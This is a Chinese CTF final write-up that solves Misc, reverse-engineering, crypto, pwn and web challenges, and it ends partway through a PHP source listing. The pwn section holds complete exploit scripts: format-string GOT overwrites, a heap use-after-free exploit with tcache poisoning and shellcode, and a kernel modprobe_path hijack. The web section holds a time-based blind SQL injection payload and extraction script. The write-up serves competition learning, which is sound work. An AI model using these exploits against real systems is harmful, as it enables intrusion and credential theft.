2021一带一路暨金砖大赛之企业信息系统安全赛项决赛WriteUp

本次比赛我们队伍一同解出了 Crypto,Re,Pwn 方向的所有赛题,拿到了CTF的第一名。赛后认真对解题思路做了整理,同时对剩余未解出的少部分赛题也做了复现总结。

2021一带一路暨金砖大赛之企业信息系统安全赛项决赛题目分析及解题思路整理。

0x01 Misc

misc1

给的文件后缀名是 .bat,010打开发现,实际上应该是个ppt(有很明显的PowerPoint字符),
更改后缀名为 ppt 之后,wps 打开,发现需要密码。

image.png

在用 notepad 查看的时候,翻阅过程中突然看到提示:密码为4位纯数字

使用脚本生成字典后直接爆破:

  1. # 字典生成
  2. import itertools as its
  3. words = "1234568790"
  4. r =its.product(words,repeat=4)
  5. dic = open("pass1.txt","a")
  6. for i in r:
  7. dic.write("".join(i))
  8. dic.write("".join("\n"))
  9. dic.close()
  1. # 爆破
  2. import os
  3. import sys
  4. import win32com.client
  5. import pywintypes
  6. passw=[]
  7. dic = open("pass1.txt","r")
  8. data=dic.readline().strip('\n');
  9. while data:
  10. passw.append(data);
  11. data=dic.readline().strip('\n');
  12. dic.close();
  13. wps1=win32com.client.Dispatch('Kwps.application')
  14. wps1.Visible=True
  15. wps1.DisplayAlerts = 0
  16. for i in passw:
  17. try:
  18. d=wps1.Documents.Open(r'C:\Users\Sycamore\Desktop\CTF\flag去哪了.ppt',PasswordDocument=i);
  19. except pywintypes.com_error:
  20. print(i)
  21. continue
  22. print("succcccceesss"+i)
  23. break;

misc2

binwalk分离,得到了很多文件,依次打开,查看文件内容,
其中一个文件:3BD12,
打开后获得一串base64:

两次 base64 解码后,就能得到flag

misc3

打开听了一下,感觉像SSTV(今年 Misc 考这个的还真不少…),
安卓端使用 robot36 解码,
获得图片如下:

image.png

misc4

010打开后文件末尾看到提示为:lsb

image.png

stegsolve打开后查看通道,发现 R G B 的0通道都有异常,
提取数据得到一张 jfif 图片如下

image.png

010打开新图片,发现文件中间的base64,解码得到flag

image.png

0x02 RE

RE1

image-20220608101847626

GO语言逆向题,flag直接和输入比对,可以在main_mian函数的窗口看到flag,或string+F12搜索flag即可。

flag{02f4fd5497119e238350002c5dbe1341}

RE2

首先shfit+F12在strings窗口看到有关flag的明文字符,交叉引用定位check函数。

image-20220608102221703

可见被去了符号,可以根据明文信息判断printf等系统函数或者结合IDA自带的Lumina恢复符号(不过效果不是很明显)。

image-20220608102354592

根据反编译代码结构大致猜测是对输入明文进行了异或处理(或其他更多操作),可以结合调试来判断,构造输入为flag{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}。

image-20220608103006635

V5首先指向输入附近,继续单步发现v9指向输入字符串的首部指针,V10指向尾部指针。

image-20220608103326614

之后通过首位指针来让整个字符串异或7,并保存v6的结构体内(v6应该是个结构体,其地址处的第二个指针指向加密后的结果)。最终将加密结果与&unk_7FF6EFEE78D0指向的结构体中的密文比对。

image-20220608103527434

密文在其指向地址的第二个指针。

image-20220608103552293

综上,提取出密文异或即可。

  1. s=[0x61, 0x6B, 0x66, 0x60, 0x7C, 0x31, 0x3F, 0x37, 0x37, 0x65, 0x35, 0x66, 0x31, 0x3F, 0x36, 0x64, 0x3E, 0x3E, 0x62, 0x65, 0x33, 0x36, 0x30, 0x3F, 0x37, 0x65, 0x30, 0x65, 0x35, 0x3E, 0x33, 0x66, 0x64, 0x32, 0x36, 0x34, 0x3E, 0x7A]
  2. for i in range(len(s)):
  3. s[i]^=7
  4. print(bytes(s))
  5. #flag{6800b2a681c99eb41780b7b294ac5139}

RE3

拖入IDA,观察main函数逻辑。

image-20220608104456550

首先是输入32位数据存入buffer,之后无论如何都会进入LABLE_5并且将输入2个一组作为16进制数据存入v21,并且计算出总字节数的长度len,对len进行>>3,也就是8个一组。

image-20220608105103276

之后8个一组内进行上述加密,根据其结构可以判断出是魔改的Tea加密,还原算法如下。

根据补码运算v12-0x61c88647可以看成v12+0x100000000-0x61c88647 等价于 v12 + 0x9e3779b9。

  1. void Tea_Encrypt(ut32* src, ut32* k) {
  2. ut32 sum = 0;
  3. ut32 v0 = src[0];
  4. ut32 v1 = src[1];
  5. for (int i = 0; i < 0x20; i++) {
  6. sum += 0x9e3779b9;
  7. v0 += ((v1 << 3) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
  8. v1 += ((v0 << 3) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
  9. }
  10. src[0] = v0;
  11. src[1] = v1;
  12. }

魔改点再模数v1和v0左移三位,并且key是{ 18,52,86,120 },结合上述条件写出求逆脚本。

  1. #include
  2. #define ut32 unsigned int
  3. #define delta 0x9E3779B9
  4. void Tea_Decrypt(ut32* enc, ut32* k) {
  5. ut32 sum = delta * 0x20;
  6. ut32 v0 = enc[0];
  7. ut32 v1 = enc[1];
  8. for (int i = 0; i < 0x20; i++) {
  9. v1 -= ((v0 << 3) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
  10. v0 -= ((v1 << 3) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
  11. sum -= delta;
  12. }
  13. enc[0] = v0;
  14. enc[1] = v1;
  15. }
  16. int main() {
  17. ut32 m[4] = { 0x6278CC2F,0x65FE5089 ,0x2B581C7C,0x4E60BA90 };
  18. ut32 k[4] = { 18,52,86,120 };
  19. for (int i = 0; i < 4; i += 2) {
  20. Tea_Decrypt(m+i, k);
  21. }
  22. for (int i = 0; i < 16; i++) {
  23. printf("%02x", *((unsigned char*)m + i));
  24. }
  25. //flag{35f0be164cf02aa7c59ca09de5d7bb78}
  26. return 0;
  27. }

0x03 CRYPTO

Crypto1

观察其结构为base系列加密

base64解密后得到密文K5WTCNDBIZXXUZCHGFHWC22VO5LVO4CDMFCTCNSVKRHGCUSHJV5FI22SJNQUM4CIKJKFET2SGFVXUV2WMRHGKVTMLBJVIQSOMFVVK6CUGBTXOUCRHU6Q====,base64最多有两个=号并且其全为大写,故是base32编码,之后又经过两层base64解码。

image-20220608110331959

  1. import base64
  2. c='SzVXVENOREJJWlhYVVpDSEdGSFdDMjJWTzVMVk80Q0RNRkNUQ05TVktSSEdDVVNISlY1RkkyMlNKTlFVTTRDSUtKS0ZFVDJTR0ZWWFVWMldNUkhHS1ZUTUxCSlZJUVNPTUZWVks2Q1VHQlRYT1VDUkhVNlE9PT09'
  3. print(base64.b64decode(c))
  4. c1='K5WTCNDBIZXXUZCHGFHWC22VO5LVO4CDMFCTCNSVKRHGCUSHJV5FI22SJNQUM4CIKJKFET2SGFVXUV2WMRHGKVTMLBJVIQSOMFVVK6CUGBTXOUCRHU6Q===='
  5. print(base64.b32decode(c1))
  6. c2='Wm14aFozdG1OakUwWWpCaE16UTNaRGMzTkRKaFpHRTROR1kzWVdNeVlXSTBNakUxT0gwPQ=='
  7. print(base64.b64decode(c2))
  8. c3='ZmxhZ3tmNjE0YjBhMzQ3ZDc3NDJhZGE4NGY3YWMyYWI0MjE1OH0='
  9. print(base64.b64decode(c3))
  10. #flag{f614b0a347d7742ada84f7ac2ab42158}

Crypto2

首先题目提示凯撒加密,但是其中有+、(、?等特殊字符,尝试26以内的偏移,或和flag{和Zmxh(flag的base64编码)算移位没有发现规律。

尝试在0-128内唯一,打印其中可显示的明文字符串。

  1. s=b'Nd(+X=fqZqEEM<bpKegNYMg?NdkEDcAkKLIaEL(LHdcFM\'c*Nc[QEMchP*gFM=c-NM^n'
  2. for i in range(128):
  3. m=[]
  4. for j in range(len(s)):
  5. m.append((s[j]-i)%128)
  6. print('shfit: %d'%i,bytes(m).decode())

打印结果如下

image-20220608110941375

在shfit的偏移为119时发现一个可疑的明文信息,尝试base64解密。

image-20220608111119812

发现两次解密后即为flag,完整代码如下。

  1. import base64
  2. s=b'Nd(+X=fqZqEEM<bpKegNYMg?NdkEDcAkKLIaEL(LHdcFM\'c*Nc[QEMchP*gFM=c-NM^n'
  3. """
  4. for i in range(128):
  5. m=[]
  6. for j in range(len(s)):
  7. m.append((s[j]-i)%128)
  8. print('shfit: %d'%i,bytes(m).decode())
  9. """
  10. print(base64.b64decode('Wm14aFozczNNVEkyTnpWbVpHWmtNMlJtTURjNU1UQmlOV0l3WldZNVlqY3pOVFl6WVgw'))
  11. print(base64.b64decode('ZmxhZ3s3MTI2NzVmZGZkM2RmMDc5MTBiNWIwZWY5YjczNTYzYX0='))
  12. m='flag{712675fdfd3df07910b5b0ef9b73563a}'

Crypto3

RSA公钥加密,题目附件中包括c、n、e,但是e比较小且是偶数,故考察方向为e和phin不互素,尝试用yafu分解n。

等待一段时间后n被成功分解,如下图。

image.png

得到p和q后就可以求私钥,但是(e,phi)=4,故无逆元,那么根据m^e mod n 可以变为 (m^4)^(e/4)这样e/4和phi便互素,但是这样c^d mod n后得到的为m^4 mod n,直接用iroot尝试开4次方,最后转为字符即发现flag。

  1. import gmpy2
  2. from Crypto.Util.number import *
  3. n = 22418636922065508104264650472638100390507346675022700253583060418349386472260539292033574216754214047540225287240029292436219548116787251605020424767984000804727346173028308816952737183433110999995264950414364145519999339949396799207404153148796900954086093431917244453864253649011176295266497073733547832171165497506613139960587280135867463235266546869960044777350378595302570142110464582590415694749192915651700844268466357439219626769665355230647219887042871785185100743750953935872489085346311527806979246650668966304323450610041756764667276881295676841136337294903126776228640645138477063815764467811948872156311
  4. e = 180
  5. c = 17971123746814947059314270113966290245749007752378241906733564181493060407114219968936077930494933520528427074831694818994710527963410153282657079091353179846750982127804195747725871635911272654572811618799762595633801414107052800867035212498914627567940429340162711284873714117628807667324064684965941290688518710890089086623981356782977499005308798890348799101436318386502089586589964942282091818134339082321114129830959264557408611168516265190076744300272908807347811446203373025446057616713876047942653095947804696077860211107853183353180163392501353685418796451123620066941329424857070023018877454625734091037559
  6. p=149728544112555599590936673615696271318636529352637830106348687941183054498250042553549708433208468004536400117026086238076264785396396599290721801532887662723160698502186620809003309343021490868380464762486274154096814166441270611631342173101926176645742035350917214925625954628200341278782929951624259583527
  7. q=149728544112555599590936673615696271318636529352637830106348687941183054498250042553549708433208468004536400117026086238076264785396396599290721801532887662723160698502186620809003309343021490868380464762486274154096814166441270611631342173101926176645742035350917214925625954628200341278782929951624259582993
  8. phi=(p-1)*(q-1)
  9. e=e//gmpy2.gcd(e,phi)
  10. d=gmpy2.invert(e,phi)
  11. m4=pow(c,d,n)
  12. print(long_to_bytes(gmpy2.iroot(m4,4)[0]))
  13. #flag{09dfc77eaebb50f136fc184533b9d556}

Crypto4

拿到附件发现是自己实现的ADFGVX加密,key已知是ph0qg64mea1yl2nofdxkr3cvs5zw7bj9uti8,但是keyword未知。

  1. def getKeyword(x):
  2. key = ''.join([choice('abcdefghijklmnopqrstuvwxyz') for i in range(x)])
  3. for i in key:
  4. if key.count(i)!=1: #只有一种
  5. return getKeyword(x)
  6. return key
  7. keyword = getKeyword(7)

根据关键字的生成算法可知是在字母表中选取7个不同的字符,如果要爆破则有26*25*24*23*22*21*20=3315312000组合,在比赛时间内应该不行,故要根据ADFGVX原理来解决该题。

百度得知加密步骤如下,可以参考ADFGVX - Crypto -wiki

image-20220608114533949

上图是5X5的ADFGX而本题是ADFGVX是前者的进阶版本,所以key是6x6的矩阵,并且置换之后通过key来进行移位加密。

得知原理后继续看脚本

  1. def encipher_char(self, ch, size=6, chars='ADFGVX'):
  2. row = (int)(self.key.index(ch)/size) #第几行
  3. col = (self.key.index(ch) % size) #第几列
  4. return chars[row] + chars[col] #行列替换

所以我们打印出表格如下

  1. k='ph0qg64mea1yl2nofdxkr3cvs5zw7bj9uti8'
  2. for i in range(0,len(k),6):
  3. for j in range(6):
  4. print(k[i+j].upper(),end=' ')
  5. print()
  6. """
  7. A D F G V X
  8. A P H 0 Q G 6
  9. D 4 M E A 1 Y
  10. F L 2 N O F D
  11. G X K R 3 C V
  12. V S 5 Z W 7 B
  13. X J 9 U T I 8
  14. """

但是直接解密是错的的并没有体现到key的作用,观察源码,发现key有处理。

  1. step1 = self.encipher_string(string) #简单置换后的结果
  2. step2 = self.encipher_sortind(step1)
  3. def sortind(word): #返回key字母在排序后的字母中的位置
  4. t1 = [(word[i], i) for i in range(len(word))]
  5. t2 = [(k[1], i) for i, k in enumerate(sorted(t1))]
  6. return [q[1] for q in sorted(t2)]
  7. def encipher_sortind(self,string):
  8. string = self.remove_punctuation(string)
  9. ret = ''
  10. ind = self.sortind(self.keyword)
  11. for i in range(len(self.keyword)):
  12. ret += string[ind.index(i)::len(self.keyword)] #取出某一列拼出来
  13. return ret

可以手动测试

image-20220608125424031

这样的话这个ind可以被爆破,因为keyword长度为7那么ind的排序为7*6*54\3\*2 = 5040种可能,并且其中移位置换后解密不能出现数字或相同字母,爆破即可,解密脚本如下。

  1. from pycipher import ADFGVX
  2. from itertools import permutations
  3. def decipher_pair(pair, key='ph0qg64mea1yl2nofdxkr3cvs5zw7bj9uti8', size=6, chars='ADFGVX'): #反求key
  4. row = chars.index(pair[0])
  5. col = chars.index(pair[1])
  6. return key[row * size + col]
  7. def decipher_str(string):
  8. ret = ''
  9. for i in range(0, len(string), 2):
  10. ret += decipher_pair(string[i:i + 2])
  11. return ret
  12. def check(s): #优化爆破 即解密的key要在小写字母表内 且 无数字
  13. num_lst = ['AF', 'AX', 'DA', 'DV', 'FD', 'GG', 'VD', 'VV', 'XD', 'XX'] #剔除数字
  14. all = []
  15. for i in range(7):
  16. t = s[i * 2] + s[i * 2 + 1]
  17. if (t in num_lst):
  18. return False
  19. if (t in all):
  20. return False
  21. all.append(t)
  22. return True
  23. kenc = 'XAGDFGVGXXXGAX'
  24. flag = 'DXVGGVGGVGVFXAFVFXFFXFVFFFVFDVVGADGVAVGDAAVXGDGXGXDFVFDAVADAXAAFFVFXXGVX'
  25. r1 = [kenc[i] for i in range(0, len(kenc), 2)] #明文中第一行
  26. r2 = [kenc[i] for i in range(1, len(kenc), 2)] #明文中第二行
  27. all_list = list(permutations([0, 1, 2, 3, 4, 5, 6], 7)) #暴力枚举所有状态
  28. for it in all_list:
  29. c = [r1[i] for i in it] + [r2[i] for i in it] #连续两个为r1和r2行中的元素 且置换回去
  30. d = ''.join(c)
  31. if check(c):
  32. kd = decipher_str(d)
  33. enc = ADFGVX('ph0qg64mea1yl2nofdxkr3cvs5zw7bj9uti8', kd)
  34. ed = enc.encipher(kd)
  35. if ed == kenc:
  36. print(kd,it)
  37. print(enc.decipher(flag).lower())
  38. #flag{fb0dd5203c02cf7c60dc99330b5bfa66}

0x04 PWN

pwn1

以下是俩个格式化字符串漏洞的位置。

image-20220608113001740

第一次运行:

  1. 利用格式化字符串 leak 出 libc 基址。
  2. 利用格式化字符串漏洞同时覆写 printf 的 got 表为 system,同时覆写 _fini_array 为 0x400640 使再次运行。本题有个更简便的方法就是覆写 exit 的 hook为 one_gadget,大家也可以尝试。

第二次运行:

  1. 由于只能读入五个字符,直接 cat * 拿 flag。
  1. #!/usr/bin/env python2
  2. # -*- coding: utf-8 -*
  3. import re
  4. import os
  5. from pwn import *
  6. from LibcSearcher import *
  7. se = lambda data :p.send(data)
  8. sa = lambda delim,data :p.sendafter(delim, data)
  9. sl = lambda data :p.sendline(data)
  10. sla = lambda delim,data :p.sendlineafter(delim, data)
  11. sea = lambda delim,data :p.sendafter(delim, data)
  12. rc = lambda numb=4096 :p.recv(numb)
  13. ru = lambda delims, drop=True :p.recvuntil(delims, drop)
  14. uu32 = lambda data :u32(data.ljust(4, '\0'))
  15. uu64 = lambda data :u64(data.ljust(8, '\0'))
  16. lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)
  17. def debug(breakpoint=''):
  18. glibc_dir = '~/Exps/Glibc/glibc-2.27/'
  19. gdbscript = 'directory %smalloc/\n' % glibc_dir
  20. gdbscript += 'directory %sstdio-common/\n' % glibc_dir
  21. gdbscript += 'directory %sstdlib/\n' % glibc_dir
  22. gdbscript += 'directory %slibio/\n' % glibc_dir
  23. elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
  24. gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
  25. gdb.attach(p, gdbscript)
  26. time.sleep(1)
  27. elf = ELF('./pmagic')
  28. context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','62'])
  29. p = process('./pmagic')
  30. # debug()
  31. p = remote('101.133.134.12',10000)
  32. sea('Give me your name.\n','%15$p')
  33. libc_leak = int(rc(14),16)
  34. libc_base = libc_leak - 0x5f1718
  35. lg('libc_leak',libc_leak)
  36. lg('libc_base',libc_base)
  37. #libc = ELF('./libc.so.6')
  38. libc = elf.libc
  39. libc.address = libc_base
  40. system_addr = libc.sym.system
  41. bin_sh = libc.search('/bin/sh').next()
  42. og = '''
  43. ❯ one_gadget libc-2.23.so -l2
  44. 0x45216 execve("/bin/sh", rsp+0x30, environ)
  45. constraints:
  46. rax == NULL
  47. 0x4526a execve("/bin/sh", rsp+0x30, environ)
  48. constraints:
  49. [rsp+0x30] == NULL
  50. 0xcd0f3 execve("/bin/sh", rcx, r12)
  51. constraints:
  52. [rcx] == NULL || rcx == NULL
  53. [r12] == NULL || r12 == NULL
  54. 0xcd1c8 execve("/bin/sh", rax, r12)
  55. constraints:
  56. [rax] == NULL || rax == NULL
  57. [r12] == NULL || r12 == NULL
  58. 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
  59. constraints:
  60. [rsp+0x50] == NULL
  61. 0xf02b0 execve("/bin/sh", rsi, [rax])
  62. constraints:
  63. [rsi] == NULL || rsi == NULL
  64. [[rax]] == NULL || [rax] == NULL
  65. 0xf1147 execve("/bin/sh", rsp+0x70, environ)
  66. constraints:
  67. [rsp+0x70] == NULL
  68. 0xf66f0 execve("/bin/sh", rcx, [rbp-0xf8])
  69. constraints:
  70. [rcx] == NULL || rcx == NULL
  71. [[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL
  72. '''
  73. ones = [libc_base + int(i,16) for i in re.findall(r'\n(.+?) execve',og)]
  74. # sl((fmtstr_payload(8,{(elf.got['printf']):system_addr,(0x600A78):0x400640})).ljust(0x100,'\0'))
  75. sea('Say something.\n',(fmtstr_payload(8,{(elf.got['printf']):system_addr,(0x600A78):0x400640})).ljust(0x100,'\0'))
  76. # flag{9cc94030040c64f2122706df577d15ee}
  77. p.interactive()

image-20220608114145159

pwn2

libc 2.31 下的经典菜单堆题。

漏洞很简单,free 掉堆块的时候没有清空指针,是一个很直接的 UAF

image-20220608113201143

思路:

  1. 基本堆布局,利用 Largebin 残留指针 leak 出 libc 基址和堆基址。
  2. 利用 Tcache Poisoning 构造一次任意分配堆块到 __free_hook 写 rdx,QWORD PTR [rdi+0x8];mov QWORD PTR [rsp],rax;call QWORD PTR [rdx+0x20] 这个 gadget 的地址。
  3. 利用写入的 gadget 配合 setcontext 构造栈迁移,改堆块为 rwx 权限,读入 shellcode 执行 shellcode 拿 flag。或者非常确定 flag 的文件名和路径的情况下,拿 orw 链子直接读 flag 也是可以的。
  1. #!/usr/bin/env python2
  2. # -*- coding: utf-8 -*
  3. import re
  4. import os
  5. from pwn import *
  6. from LibcSearcher import *
  7. se = lambda data :p.send(data)
  8. sa = lambda delim,data :p.sendafter(delim, data)
  9. sl = lambda data :p.sendline(data)
  10. sla = lambda delim,data :p.sendlineafter(delim, data)
  11. sea = lambda delim,data :p.sendafter(delim, data)
  12. rc = lambda numb=4096 :p.recv(numb)
  13. ru = lambda delims, drop=True :p.recvuntil(delims, drop)
  14. uu32 = lambda data :u32(data.ljust(4, '\0'))
  15. uu64 = lambda data :u64(data.ljust(8, '\0'))
  16. lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)
  17. def debug(breakpoint=''):
  18. glibc_dir = '~/Exps/Glibc/glibc-2.27/'
  19. gdbscript = 'directory %smalloc/\n' % glibc_dir
  20. gdbscript += 'directory %sstdio-common/\n' % glibc_dir
  21. gdbscript += 'directory %sstdlib/\n' % glibc_dir
  22. gdbscript += 'directory %slibio/\n' % glibc_dir
  23. elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
  24. gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
  25. gdb.attach(p, gdbscript)
  26. time.sleep(1)
  27. elf = ELF('./orw_h2')
  28. context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','62'])
  29. # p = process('./orw_h2')
  30. # debug()
  31. p = remote('101.133.134.12',10001)
  32. def menu(choice):
  33. sla('>> ',str(choice))
  34. def add(size,data='u'):
  35. menu(1)
  36. sla('Length of game description:',str(size))
  37. sea('Game description:',str(data))
  38. def dele(id):
  39. menu(2)
  40. sla('game index: ',str(id))
  41. def edit(id,data):
  42. menu(3)
  43. sla('game index: ',str(id))
  44. sea('Edit Game description:',str(data))
  45. def show(id):
  46. menu(4)
  47. sla('game index: ',str(id))
  48. add(0x420) # 0
  49. add(0x20) # 1
  50. dele(0)
  51. show(0)
  52. libc_leak = uu64(ru('\n')[-6:])
  53. libc_base = libc_leak - 0x1ecbe0
  54. lg('libc_leak',libc_leak)
  55. lg('libc_base',libc_base)
  56. #libc = ELF('./libc.so.6')
  57. libc = elf.libc
  58. libc.address = libc_base
  59. system_addr = libc.sym.system
  60. bin_sh = libc.search('/bin/sh').next()
  61. magic = libc_base + 0x1518b0 # mov rdx,QWORD PTR [rdi+0x8];mov QWORD PTR [rsp],rax;call QWORD PTR [rdx+0x20]
  62. rdi = libc_base + 0x0000000000023b72
  63. rsi = libc_base + 0x000000000002604f
  64. rdx_r12 = libc_base + 0x0000000000119241
  65. ret = libc_base + 0x0000000000022679
  66. rax = libc_base + 0x0000000000047400
  67. jmp_rsi = libc_base + 0x000000000010d60d
  68. read_addr = libc.sym.read
  69. '''
  70. 0x0000000000047400 : pop rax ; ret
  71. 0x0000000000023b72 : pop rdi ; ret
  72. 0x0000000000119241 : pop rdx ; pop r12 ; ret
  73. 0x000000000015f7e6 : pop rdx ; pop rbx ; ret
  74. 0x00000000001025ad : pop rdx ; pop rcx ; pop rbx ; ret
  75. 0x0000000000024920 : pop rsi ; pop r15 ; pop rbp ; ret
  76. 0x0000000000023b70 : pop rsi ; pop r15 ; ret
  77. 0x000000000002604f : pop rsi ; ret
  78. 0x0000000000133fe6 : pop rsi ; ret 0xb
  79. 0x000000000002491c : pop rsp ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
  80. 0x0000000000023b6c : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
  81. 0x000000000002604b : pop rsp ; pop r13 ; pop r14 ; ret
  82. 0x00000000000ef1c5 : pop rsp ; pop r13 ; pop r15 ; ret
  83. 0x00000000000460a5 : pop rsp ; pop r13 ; pop rbp ; ret
  84. 0x0000000000025bcc : pop rsp ; pop r13 ; ret
  85. 0x000000000008e261 : pop rsp ; pop r14 ; ret
  86. 0x000000000012cfae : pop rsp ; pop rbp ; ret
  87. 0x000000000002f73a : pop rsp ; ret
  88. 0x0000000000099050 : pop rsp ; ret 0xffff
  89. 0x0000000000022679 : ret
  90. '''
  91. # orw = flat([
  92. # rax,2,rdi,heap_base+0x290+0x10,rsi,0,syscall_ret,rdi,3,rdx_r12,0x100,0,rsi,heap_base+0x290+0x20,read_addr,rdi,1,write_addr
  93. # ])
  94. add(0x430) # 2
  95. edit(0,'u'*0x10)
  96. show(0)
  97. ru('u'*0x10)
  98. heap_leak = uu64(rc(6))
  99. heap_base = heap_leak - 0x290
  100. lg('heap_leak',heap_leak)
  101. lg('heap_base',heap_base)
  102. mmp = flat([
  103. rdi,((heap_base + 0xD00)>>12)<<12,rsi,0x2000,rdx_r12,7,0,libc.sym.mprotect,rdi,0,rsi,heap_base + 0xD00,rdx_r12,0x1000,0,read_addr,jmp_rsi
  104. ])
  105. edit(0,p64(libc_base+0x1ecfd0)*2)
  106. add(0x420) # 3 0
  107. add(0x20) # 4
  108. dele(1)
  109. dele(4)
  110. edit(4,p64(libc.sym.__free_hook))
  111. add(0x20) # 5
  112. add(0x20,p64(magic)) # 6
  113. fuck = SigreturnFrame()
  114. fuck.rsp = heap_base + 0x700
  115. fuck.rip = ret
  116. edit(0,p64(0) + p64(heap_base + 0x290+0x10) + p64(0)*2 + p64(libc.sym.setcontext+61)+str(fuck)[0x28:])# mov rdx,QWORD PTR [rdi+0x8];mov QWORD PTR [rsp],rax;call QWORD PTR [rdx+0x20]
  117. edit(2,mmp)
  118. dele(0)
  119. sl(asm(shellcraft.cat('/flag')))
  120. p.interactive()

pwn3

简单的 kernel 题,给了任意地址写。

image-20220608114038284

那么劫持 modprobe_path 为我们自己的恶意 sh 文件路径,复制文件更改权限,就可以读 flag。

用来读 flag 的 exp 源码:

exp.c

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <unistd.h>
  5. #include <fcntl.h>
  6. #include <sys/types.h>
  7. size_t path = 0xffffffff81e48240;
  8. int main(int argc, char ** argv)
  9. {
  10. int fd1 = open("/dev/chardev0", 2);
  11. if(fd1 <0)
  12. {
  13. printf("\033[31m\033[1m[x] Failed to open the babydev1!\033[0m\n");
  14. exit(-1);
  15. }
  16. // ffffffff81e48240 D modprobe_path
  17. // ffffffffc0000000 t chardev_ioctl [www]
  18. // 0xffffffffc000001e
  19. size_t ar[2] = {path,0x612f706d742f};
  20. ioctl(fd1,0x80084700,ar);
  21. system("echo -ne '#!/bin/sh\n/bin/cp /flag /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/a");
  22. system("chmod +x /tmp/a");
  23. system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/uuu");
  24. system("chmod +x /tmp/uuu");
  25. system("/tmp/uuu");
  26. system("cat /tmp/flag");
  27. }

编译脚本:

  1. musl-gcc exp.c -static -O2 -o exp # 这里用了 musl 编译缩小 exp 大小
  2. strip exp

用来上传 exp 的脚本:

cc.py

  1. from pwn import *
  2. import time, os
  3. context.log_level = "debug"
  4. p = remote('101.133.134.12',10002)
  5. os.system("tar -czvf exp.tar.gz ./exp")
  6. os.system("base64 exp.tar.gz > b64_exp")
  7. f = open("./b64_exp", "r")
  8. p.sendline()
  9. p.recvuntil("/ $")
  10. p.sendline("echo '' > b64_exp;")
  11. count = 1
  12. while True:
  13. print('now line: ' + str(count))
  14. line = f.readline().replace("\n","")
  15. if len(line)<=0:
  16. break
  17. cmd = b"echo '" + line.encode() + b"' >> b64_exp;"
  18. p.sendline(cmd)
  19. p.recvuntil("/ $")
  20. count += 1
  21. f.close()
  22. p.sendline("base64 -d b64_exp > exp.tar.gz;")
  23. p.sendline("tar -xzvf exp.tar.gz")
  24. p.sendline("chmod +x ./exp;")
  25. p.sendline("./exp")
  26. p.interactive()

截图证明顺利的读到 flag

image-20220608113858776

kernel参考链接

【NOTES.0x03】Linux Kernel Pwn II:Basic Exploit to Kernel Pwn in CTF - arttnba3’s blog

Linux Kernel Exploitation Technique: Overwriting modprobe_path - Midas

0x04 Web

感觉题目都是常见的知识点,但是到最后也只出了一半的题,,最大的难点就是有点谜语人,一堆登录框,没任何提示,要一顿乱莽

web1

http://101.133.134.12:8001/

image-20220608125508509

一个界面就一直点气球,游戏结束也没见往外发包,就直接看js文件,找到存放flag的php

image-20220608125456098

image-20220609223446550

访问flag.php会跳转到404,F12监控一下流量就行

image-20220609223614556

flag:88E3773E766EE1FFD98F3FEBE7D876DB

web2

http://101.133.134.12:8002/

image-20220608090837625

SQL注入,过滤空格和for,union,,,for,空格 ,*等关键字,最关键的是查表,information没法用了,找个替代表即可

最后构建出合适的payload语句进行时间盲注

  1. 1'^(select(sleep(1))from(mysql.user)where((select({columns})from({table})where({limit}))<'xxx'))^'

写个脚本获得密码

  1. import requests
  2. import requests
  3. import time
  4. def getDatabase(flag=""): # 获取数据库名
  5. global baseurl,sql
  6. flag=""
  7. for i in range(1, 1000):
  8. low = 32
  9. high = 128
  10. mid = (low + high) // 2
  11. while low < high:
  12. print(mid,chr(mid))
  13. usesql="1'^(select(sleep(1))from(mysql.user)where(%s))^'"%sql.\
  14. replace("flag",flag+chr(mid))
  15. # print(usesql)
  16. start_time=time.time()
  17. res = requests.post(
  18. baseurl +"login.php",
  19. data={"uname":usesql,
  20. "passwd":"1"
  21. }
  22. )
  23. use_time=time.time()-start_time
  24. # print(use_time)
  25. if use_time > 1:
  26. high = mid
  27. else:
  28. low = mid + 1
  29. mid = (low + high) // 2
  30. if mid <= 32 or mid >= 127:
  31. break
  32. flag += chr(mid - 1)
  33. print(i,"flag is -> " + flag)
  34. columns="group_concat(passwd)"
  35. # 从sys.schema_index_statistics得到表名
  36. table="testx.admin"
  37. limit="'U'<'z'"
  38. sql=f"(select({columns})from({table})where({limit}))<'flag'"
  39. baseurl="http://101.133.134.12:8002/"
  40. getDatabase("")
  41. #f9b46e5b6dc40d49fef9c5f287d177ad

获得密码的md5值,到md5解密网站可知时5555666

直接登录admin:5555666

获得flag

flag{AD7008D8BB2DFB6AD521F99A1FF08B54}

web3

http://101.133.134.12:8003/

这题到比赛结束也没出,不清楚是要干什么,赛后看师傅们说还是SQL,蚌埠住了,万万没想到会连着出两道SQL

image-20220609221731113

web4

http://101.133.134.12:8004/

image-20220609221821224

扫一下可以看到源码备份的index.php.bak,得到下面源码

  1. <?php
  2. header("Content-type:text/html;charset=utf-8");
  3. error_reporting(0);
  4. $key='flag{xxx}';
  5. if (isset($_GET['name']) and isset($_GET['pwd'])) {
  6. if ($_GET['name'] == $_GET['pwd']){
  7. echo '<p>姓名与密码不能一致!</p>';
  8. }elseif(is_numeric($_GET['pwd'])){
